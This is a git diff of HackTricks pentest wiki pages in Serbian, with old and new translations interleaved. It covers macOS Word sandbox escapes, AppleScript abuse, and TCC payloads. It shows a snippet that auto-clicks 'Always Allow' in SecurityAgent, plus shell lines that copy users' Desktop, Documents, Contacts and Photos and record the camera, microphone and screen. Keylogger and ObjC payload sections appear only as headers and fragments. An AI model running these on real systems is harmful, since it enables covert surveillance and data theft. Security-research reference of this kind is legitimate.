Aplikacija koristi **prilagođeni Sandbox** koristeći privilegiju **`com.apple.security.temporary-exception.sbpl`** i ovaj prilagođeni sandbox omogućava pisanje fajlova bilo gde, sve dok ime fajla počinje sa `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
Aplikacija koristi **prilagođeni Sandbox** koristeći pravo **`com.apple.security.temporary-exception.sbpl`** i ovaj prilagođeni sandbox omogućava pisanje fajlova bilo gde sve dok ime fajla počinje sa `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
Stoga, izbegavanje je bilo jednostavno kao **pisanje `plist`** LaunchAgent-a u `~/Library/LaunchAgents/~$escape.plist`.
Stoga, bekstvo je bilo lako kao **pisanje `plist`** LaunchAgent-a u `~/Library/LaunchAgents/~$escape.plist`.
Pogledajte [**originalni izveštaj ovde**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
Check the [**original report here**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
### Bypass Sandbox-a u Word-u putem Login stavki i zip-a
### Word Sandbox bypass via Login Items and zip
Zapamtite da od prvog bekstva, Word može pisati proizvoljne fajlove čije ime počinje sa `~$`, iako nakon zakrpe prethodne ranjivosti nije bilo moguće pisati u `/Library/Application Scripts` ili u `/Library/LaunchAgents`.
Zapamtite da iz prvog bekstva, Word može pisati proizvoljne fajlove čija imena počinju sa `~$` iako nakon zakrpe prethodne ranjivosti nije bilo moguće pisati u `/Library/Application Scripts` ili u `/Library/LaunchAgents`.
Otkriveno je da je iz sandbox-a moguće kreirati **Login stavku** (aplikacije koje će se izvršiti kada se korisnik prijavi). Međutim, ove aplikacije **neće se izvršiti osim ako** nisu **notarizovane** i nije moguće dodati argumente (tako da ne možete pokrenuti reverznu ljusku koristeći **`bash`**).
Otkriveno je da je iz sandbox-a moguće kreirati **Login Item** (aplikacije koje će se izvršiti kada se korisnik prijavi). Međutim, ove aplikacije **neće se izvršiti osim ako** nisu **notarizovane** i **nije moguće dodati argumente** (tako da ne možete samo pokrenuti reverznu ljusku koristeći **`bash`**).
Od prethodnog bypass-a Sandbox-a, Microsoft je onemogućio opciju pisanja fajlova u `~/Library/LaunchAgents`. Međutim, otkriveno je da ako stavite **zip fajl kao Login stavku**, `Archive Utility` će ga samo **otpakovati** na trenutnoj lokaciji. Dakle, pošto podrazumevano folder `LaunchAgents` iz `~/Library` nije kreiran, bilo je moguće **zapakovati plist u `LaunchAgents/~$escape.plist`** i **postaviti** zip fajl u **`~/Library`** tako da će prilikom dekompresije stići do odredišta trajnosti.
Iz prethodnog Sandbox zaobilaženja, Microsoft je onemogućio opciju pisanja fajlova u `~/Library/LaunchAgents`. Međutim, otkriveno je da ako stavite **zip fajl kao Login Item**, `Archive Utility` će jednostavno **raspakovati** na trenutnoj lokaciji. Dakle, pošto po defaultu folder `LaunchAgents` iz `~/Library` nije kreiran, bilo je moguće **zipovati plist u `LaunchAgents/~$escape.plist`** i **staviti** zip fajl u **`~/Library`** tako da kada se raspakuje, doći će do odredišta za postojanost.
Pogledajte [**originalni izveštaj ovde**](https://objective-see.org/blog/blog\_0x4B.html).
Check the [**original report here**](https://objective-see.org/blog/blog\_0x4B.html).
### Bypass Sandbox-a u Word-u putem Login stavki i .zshenv
### Word Sandbox bypass via Login Items and .zshenv
(Zapamtite da od prvog bekstva, Word može pisati proizvoljne fajlove čije ime počinje sa `~$`).
(Zapamtite da iz prvog bekstva, Word može pisati proizvoljne fajlove čija imena počinju sa `~$`).
Međutim, prethodna tehnika je imala ograničenje, ako folder **`~/Library/LaunchAgents`** postoji jer ga je neki drugi softver kreirao, ona bi propala. Zato je otkrivena druga Login stavka za ovo.
Međutim, prethodna tehnika imala je ograničenje, ako folder **`~/Library/LaunchAgents`** postoji jer ga je neka druga aplikacija kreirala, to bi propalo. Tako je otkrivena drugačija lanac Login Items za ovo.
Napadač bi mogao kreirati fajlove **`.bash_profile`** i **`.zshenv`** sa payload-om za izvršavanje, a zatim ih zapakovati i **zapisati zip u korisnički folder** žrtve: **`~/~$escape.zip`**.
Napadač bi mogao kreirati fajlove **`.bash_profile`** i **`.zshenv`** sa teretom za izvršavanje, a zatim ih zipovati i **pisati zip u folder korisnika žrtve**: **`~/~$escape.zip`**.
Zatim, dodajte zip fajl u **Login stavke**, a zatim i **aplikaciju Terminal**. Kada se korisnik ponovo prijavi, zip fajl će biti dekompresovan u korisnički fajl, prebrisavajući **`.bash_profile`** i **`.zshenv`** i stoga će terminal izvršiti jedan od ovih fajlova (zavisno od toga da li se koristi bash ili zsh).
Zatim, dodajte zip fajl u **Login Items** i zatim aplikaciju **`Terminal`**. Kada se korisnik ponovo prijavi, zip fajl bi bio raspakovan u korisničkom folderu, prepisujući **`.bash_profile`** i **`.zshenv`** i stoga će terminal izvršiti jedan od ovih fajlova (u zavisnosti od toga da li se koristi bash ili zsh).
Pogledajte [**originalni izveštaj ovde**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
Check the [**original report here**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
### Bypass Sandbox-a u Word-u sa Open i env promenljivama
### Word Sandbox Bypass with Open and env variables
Iz sandbox procesa i dalje je moguće pozvati druge procese koristeći alatku **`open`**. Osim toga, ovi procesi će se izvršavati **unutar svog sopstvenog sandbox-a**.
Iz sandboxovanih procesa još uvek je moguće pozvati druge procese koristeći **`open`** alat. Štaviše, ovi procesi će se izvršavati **unutar svog vlastitog sandbox-a**.
Otkriveno je da open alatka ima opciju **`--env`** za pokretanje aplikacije sa **specifičnim env promenljivama**. Stoga je bilo moguće kreirati **`.zshenv` fajl** unutar foldera **unutar** sandbox-a i koristiti `open` sa `--env` postavljajući **`HOME` promenljivu** na taj folder otvarajući tu `Terminal` aplikaciju, koja će izvršiti `.zshenv` fajl (iz nekog razloga bilo je potrebno i postaviti promenljivu `__OSINSTALL_ENVIROMENT`).
Otkriveno je da open alat ima opciju **`--env`** za pokretanje aplikacije sa **specifičnim env** varijablama. Stoga, bilo je moguće kreirati **`.zshenv` fajl** unutar foldera **unutar** **sandbox-a** i koristiti `open` sa `--env` postavljajući **`HOME` varijablu** na taj folder otvarajući aplikaciju `Terminal`, koja će izvršiti `.zshenv` fajl (iz nekog razloga takođe je bilo potrebno postaviti varijablu `__OSINSTALL_ENVIROMENT`).
Pogledajte [**originalni izveštaj ovde**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
Check the [**original report here**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
### Bypass Sandbox-a u Word-u sa Open i stdin
### Word Sandbox Bypass with Open and stdin
Alatka **`open`** takođe podržava parametar **`--stdin`** (a nakon prethodnog bypass-a više nije bilo moguće koristiti `--env`).
Alat **`open`** takođe podržava parametar **`--stdin`** (i nakon prethodnog zaobilaženja više nije bilo moguće koristiti `--env`).
Stvar je u tome da čak i ako je **`python`** potpisan od strane Apple-a, **neće izvršiti** skriptu sa **`quarantine`** atributom. Međutim, bilo je moguće proslediti mu skriptu putem stdin-a tako da neće proveravati da li je karantinirana ili ne:&#x20;
Stvar je u tome da čak i ako je **`python`** potpisan od strane Apple-a, **neće izvršiti** skriptu sa **`quarantine`** atributom. Međutim, bilo je moguće proslediti mu skriptu iz stdin-a tako da neće proveravati da li je bila u karantinu ili ne:&#x20;
1. Ubacite fajl **`~$exploit.py`** sa proizvoljnim Python komandama.
2. Pokrenite _open_ **`stdin='~$exploit.py' -a Python`**, što pokreće Python aplikaciju sa našim ubačenim fajlom kao standardni ulaz. Python srećno izvršava naš kod i pošto je to podproces _launchd_-a, nije vezan za Word-ova pravila sandbox-a.
1. Postavite **`~$exploit.py`** fajl sa proizvoljnim Python komandama.
2. Pokrenite _open_ **`stdin='~$exploit.py' -a Python`**, što pokreće Python aplikaciju sa našim postavljenim fajlom kao njenim standardnim ulazom. Python rado izvršava naš kod, a pošto je to podproces _launchd_, nije vezan za pravila Word-ovog sandbox-a.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter
</details>
{% endhint %}

View file

@ -1,54 +1,56 @@
# macOS Apple skripte
# macOS Apple Scripts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Apple skripte
## Apple Scripts
To je skriptni jezik koji se koristi za automatizaciju zadataka **interakcijom sa udaljenim procesima**. Olakšava **zahtevanje drugih procesa da izvrše određene radnje**. **Malver** može zloupotrebiti ove funkcije kako bi zloupotrebio funkcije izvožene od strane drugih procesa.\
Na primer, malver bi mogao **ubaciti proizvoljni JS kod na otvorene stranice pregledača**. Ili **automatski kliknuti** na dozvole koje korisniku traže.
To je jezik skriptinga koji se koristi za automatizaciju zadataka **interakcijom sa udaljenim procesima**. Omogućava prilično lako **traženje od drugih procesa da izvrše neke radnje**. **Malver** može zloupotrebiti ove funkcije da bi iskoristio funkcije koje izlažu drugi procesi.\
Na primer, malver bi mogao **ubaciti proizvoljni JS kod u otvorene stranice pretraživača**. Ili **automatski kliknuti** na neka dozvoljena ovlašćenja koja se traže od korisnika;
```applescript
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1
end tell
```
Evo nekoliko primera: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
Pronađite više informacija o malveru koji koristi Apple skripte [**ovde**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Pronađite više informacija o malveru koristeći applescripts [**ovde**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Apple skripte se mogu lako "**kompajlirati**". Ove verzije se mogu lako "**dekompajlirati**" pomoću `osadecompile`.
Apple skripte se mogu lako "**kompilirati**". Ove verzije se mogu lako "**dekompilirati**" pomoću `osadecompile`
Međutim, ove skripte takođe mogu biti **izvežene kao "Samo za čitanje"** (putem opcije "Izvezi..."):
Međutim, ove skripte se takođe mogu **izvesti kao "Samo za čitanje"** (putem opcije "Izvezi..."):
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
```
file mal.scpt
mal.scpt: AppleScript compiled
```
U ovom slučaju sadržaj ne može biti dekompiliran čak ni sa `osadecompile`.
i u ovom slučaju sadržaj se ne može dekompilirati čak ni sa `osadecompile`
Međutim, i dalje postoje alati koji se mogu koristiti za razumevanje ovakvih izvršnih datoteka, [**pročitajte ovaj istraživački rad za više informacija**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Alat [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) sa [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) će biti veoma koristan za razumevanje kako skripta radi.
Međutim, još uvek postoje neki alati koji se mogu koristiti za razumevanje ovakvih izvršnih datoteka, [**pročitajte ovo istraživanje za više informacija**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Alat [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) sa [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) biće veoma koristan za razumevanje kako skripta funkcioniše.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,28 @@
# macOS TCC Payloads
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Desktop
* **Ovlašćenje**: Nijedno
* **Entitlement**: Nema
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
{% tabs %}
{% tab title="ObjetiveC" %}
Kopiraj `$HOME/Desktop` u `/tmp/desktop`.
Kopirajte `$HOME/Desktop` u `/tmp/desktop`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -57,8 +57,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Kopiraj `$HOME/Desktop` u `/tmp/desktop`.
Kopirajte `$HOME/Desktop` u `/tmp/desktop`.
```bash
cp -r "$HOME/Desktop" "/tmp/desktop"
```
@ -67,15 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
### Dokumenti
* **Ovlašćenje**: Nijedno
* **Ovlašćenje**: Nema
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
{% tabs %}
{% tab title="undefined" %}
Kopiraj `$HOME/Documents` u `/tmp/documents`.
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Kopirajte `$HOME/Documents` u `/tmp/documents`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -110,8 +106,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Kopiraj `$HOME/`Documents u `/tmp/documents`.
Kopirajte `$HOME/`Documents u `/tmp/documents`.
```bash
cp -r "$HOME/Documents" "/tmp/documents"
```
@ -120,13 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents"
### Preuzimanja
* **Ovlašćenje**: Nijedno
* **Ovlašćenje**: Nema
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
{% tabs %}
{% tab title="ObjetiveC" %}
Kopiraj `$HOME/Downloads` u `/tmp/downloads`.
Kopirajte `$HOME/Downloads` u `/tmp/downloads`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -161,8 +155,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Kopiraj `$HOME/Dowloads` u `/tmp/downloads`.
Kopirajte `$HOME/Dowloads` u `/tmp/downloads`.
```bash
cp -r "$HOME/Downloads" "/tmp/downloads"
```
@ -176,8 +169,7 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
{% tabs %}
{% tab title="ObjetiveC" %}
Kopiraj `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`.
Kopirajte `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -212,8 +204,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Kopiraj `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`.
Kopirajte `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`.
```bash
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
```
@ -227,8 +218,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
{% tabs %}
{% tab title="ObjetiveC" %}
Kopiraj `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`.
Kopirajte `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -263,8 +253,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Kopiraj `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`.
Kopirajte `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`.
```bash
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
```
@ -278,8 +267,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
{% tabs %}
{% tab title="ObjectiveC" %}
Kopiraj `$HOME/Library/Calendars` u `/tmp/calendars`.
Kopirajte `$HOME/Library/Calendars` u `/tmp/calendars`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -314,16 +302,21 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Kopiraj `$HOME/Library/Calendars` u `/tmp/calendars`.
Kopirajte `$HOME/Library/Calendars` u `/tmp/calendars`.
```bash
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
```
{% endtab %}
{% endtabs %}
### Kamera
* **Ovlašćenje**: `com.apple.security.device.camera`
* **TCC**: `kTCCServiceCamera`
{% tabs %}
{% tab title="ObjetiveC - Snimanje" %}
Snimi 3 sekunde dug video i sačuvaj ga u **`/tmp/recording.mov`**
Snimite 3s video i sačuvajte ga u **`/tmp/recording.mov`**
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -403,7 +396,6 @@ fclose(stderr); // Close the file stream
{% tab title="ObjectiveC - Provera" %}
Proverite da li program ima pristup kameri.
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -436,25 +428,21 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Napravite fotografiju kamerom
Napravite fotografiju pomoću kamere
```bash
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
```
{% endtab %}
{% endtabs %}
#### Mikrofon
### Mikrofoni
* **Ovlašćenje**: **com.apple.security.device.audio-input**
* **TCC**: `kTCCServiceMicrophone`
{% tabs %}
{% tab title="undefined" %}
Snimi 5 sekundi zvuka i sačuvaj ga u `/tmp/recording.m4a`
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjetiveC - Snimanje" %}
Snimite 5s zvuka i sačuvajte ga u `/tmp/recording.m4a`
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -555,7 +543,6 @@ fclose(stderr); // Close the file stream
{% tab title="ObjectiveC - Provera" %}
Proverite da li aplikacija ima pristup mikrofonu.
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -586,8 +573,7 @@ static void telegram(int argc, const char **argv) {
{% endtab %}
{% tab title="Shell" %}
Snimi 5s audio i sačuvaj ga u `/tmp/recording.wav`
Snimi 5s zvuka i sačuvaj ga u `/tmp/recording.wav`
```bash
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
@ -597,10 +583,10 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
{% endtab %}
{% endtabs %}
#### Lokacija
### Lokacija
{% hint style="success" %}
Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz sekcije Privatnost i Sigurnost) **mora biti omogućeno,** inače neće biti u mogućnosti pristupiti joj.
Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz Privatnosti i bezbednosti) **moraju biti omogućene,** inače neće moći da joj pristupi.
{% endhint %}
* **Ovlašćenje**: `com.apple.security.personal-information.location`
@ -608,8 +594,7 @@ Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz sekcije Privatnost i S
{% tabs %}
{% tab title="ObjectiveC" %}
Zapiši lokaciju u `/tmp/logs.txt`
Napišite lokaciju u `/tmp/logs.txt`
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -660,22 +645,20 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% tab title="Shell" %}
Dobijte pristup lokaciji
```
???
```
{% endtab %}
{% endtabs %}
#### Snimanje ekrana
### Snimanje ekrana
* **Ovlašćenje**: Nijedno
* **Ovlašćenje**: Nema
* **TCC**: `kTCCServiceScreenCapture`
{% tabs %}
{% tab title="ObjectiveC" %}
Snimite glavni ekran 5 sekundi u `/tmp/screen.mov`
Snimite glavni ekran tokom 5s u `/tmp/screen.mov`
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -732,21 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% endtab %}
{% tab title="Shell" %}
Snimi glavni ekran 5 sekundi
Snimi glavni ekran na 5s
```bash
screencapture -V 5 /tmp/screen.mov
```
{% endtab %}
{% endtabs %}
#### Pristupačnost
### Pristupačnost
* **Ovlašćenje**: Nijedno
* **Ovlašćenje**: Nema
* **TCC**: `kTCCServiceAccessibility`
Koristite TCC privilegiju da prihvatite kontrolu nad Finderom pritiskom na enter i na taj način zaobiđete TCC.
Iskoristite TCC privilegiju da prihvatite kontrolu nad Finder-om pritiskom na enter i tako zaobiđete TCC
{% tabs %}
{% tab title="Prihvati TCC" %}
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -801,7 +785,6 @@ return 0;
{% tab title="Keylogger" %}
Skladišti pritisnute tastere u **`/tmp/keystrokes.txt`**
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -909,19 +892,20 @@ return 0;
{% endtabs %}
{% hint style="danger" %}
**Pristupačnost je veoma moćna dozvola**, možete je zloupotrebiti na druge načine, na primer možete izvršiti napad pomoću tastature samo iz nje, bez potrebe da pozivate Sistemski događaji.
**Pristup je veoma moćna dozvola**, možete je zloupotrebiti na druge načine, na primer, možete izvršiti **napad na pritiske tastera** samo iz nje bez potrebe da pozivate System Events.
{% endhint %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
